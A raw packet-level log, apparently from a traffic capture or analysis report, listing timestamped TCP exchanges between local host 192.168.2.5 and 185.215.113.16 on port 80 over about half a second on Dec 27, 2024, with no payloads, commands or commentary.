Dec 27, 2024 09:07:56.826180935 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.826222897 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.827014923 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.827100039 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.827146053 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.827930927 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.828077078 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.828118086 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.828923941 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.829020023 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.829066038 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.829870939 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.829988003 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.830033064 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.830836058 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.830945015 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.830987930 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.831794977 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.831893921 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.831935883 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.832758904 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.832854986 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.832904100 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.833730936 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.833811045 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.833920956 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.834666014 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.834780931 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.834820986 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.835638046 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.835731983 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.835793972 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.836642981 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.836683989 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.836725950 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.837574005 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.837676048 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.837717056 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.838505983 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.838603020 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.838644028 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.839478970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.839581013 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.839680910 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.840437889 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.840534925 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.840586901 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.841383934 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.883996010 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.967063904 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.967129946 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.967144012 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.967195988 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.967437983 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.967479944 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.967495918 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.967509985 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.967547894 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.968180895 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.968369961 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.968424082 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.968436956 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.968463898 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.968501091 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.969162941 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.969229937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.969243050 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.969283104 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.969867945 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.969917059 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.969924927 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.969930887 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.969964981 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.970628977 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.970670938 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.970683098 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.970725060 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.971461058 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.971472979 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.971486092 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.971507072 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.971534014 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.972131968 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.972201109 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.972213984 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.972240925 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.972884893 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.972917080 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.972929955 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.973020077 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.973020077 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.973620892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.973670006 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.973681927 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.973706961 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.974373102 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.974416018 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.974430084 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.974443913 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.974481106 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.975133896 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.975179911 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.975193024 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.975223064 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.975907087 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.975945950 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.975959063 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.975970984 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.976017952 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.976628065 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.976675034 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.976689100 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.976748943 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.977394104 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.977432966 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.977436066 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.977452993 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.977493048 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.978142977 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.978187084 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.978199959 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.978223085 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.978893995 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.978960037 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.978974104 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.979002953 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.979031086 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.979677916 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.979736090 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.979748964 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.979784012 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.980444908 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.980479956 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.980489969 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.980494022 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.980524063 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.981153011 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.981187105 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.981199980 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.981225967 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.981996059 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.982038021 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.982063055 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.982078075 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.982110977 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.982661009 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.982713938 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.982727051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.982748985 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.983423948 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.983470917 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.983721972 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.983741999 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.983755112 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.983781099 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.984430075 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.984481096 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.984500885 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.984513998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.984548092 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.985166073 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.985228062 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.985240936 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.985266924 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.985930920 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.985980988 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.985994101 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.986027002 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.986054897 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.986671925 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.986763000 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.986776114 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.986804962 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.987433910 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.987477064 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.987479925 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.987490892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.987525940 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.988224983 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.988281012 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.988292933 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.988322020 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.988852978 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.988931894 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.988975048 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.988976955 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.988987923 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.989021063 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.989773989 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.989828110 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.989841938 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.989877939 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.990453005 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.990494967 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.990500927 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.990514040 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.990547895 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.991236925 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.991323948 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.991337061 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.991375923 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.991956949 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.992001057 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.992014885 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.992027998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.992064953 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.992690086 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.992741108 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.992753983 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.992779970 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.017610073 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.027327061 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.168898106 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.168915987 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.168927908 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.168966055 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.169186115 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.169198990 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.169210911 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.169228077 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.169255018 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.169964075 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.170109034 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.170157909 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.170252085 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.170391083 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.170428991 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.170974970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.170989037 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.171000004 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.171036959 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.171788931 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.171802044 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.171814919 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.171835899 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.171868086 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.172483921 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.172497034 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.172509909 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.172525883 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.173073053 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.173110962 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.173271894 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.173285007 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.173320055 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.173947096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.173959017 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.173971891 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.173996925 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.174222946 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.174273014 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.174283981 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.174340010 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.174917936 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.174988031 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.174999952 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.175024033 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.175709009 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.175738096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.175750017 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.175767899 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.175796986 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.176460028 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.176512957 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.176526070 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.176564932 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.177208900 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.177253008 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.177265882 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.177294016 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.177330971 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.177963018 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.178003073 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.178014994 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.178042889 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.178695917 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.178735971 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.178755045 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.178767920 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.178803921 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.179482937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.179507971 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.179522038 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.179557085 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.180212021 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.180262089 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.180263042 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.180279016 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.180310011 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.180959940 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.181005955 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.181020021 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.181054115 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.181713104 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.181756973 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.181761026 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.181776047 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.181849003 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.182456970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.182512045 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.182524920 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.182552099 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.183248043 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.183295012 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.183301926 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.183309078 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.183358908 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.183975935 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.184011936 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.184025049 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.184060097 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.184720993 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.184762001 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.184777975 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.184791088 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.185151100 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.185475111 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.185719967 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.185761929 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.185774088 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.185825109 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.186487913 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.186536074 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.186548948 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.186588049 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.187241077 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.187290907 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.187292099 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.187304974 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.187344074 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.187985897 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.188033104 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.188045025 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.188076019 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.188767910 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.188807011 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.188813925 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.188819885 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:57.188853025 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:57.189486980 CET	80	49728	185.215.113.16	192.168.2.5
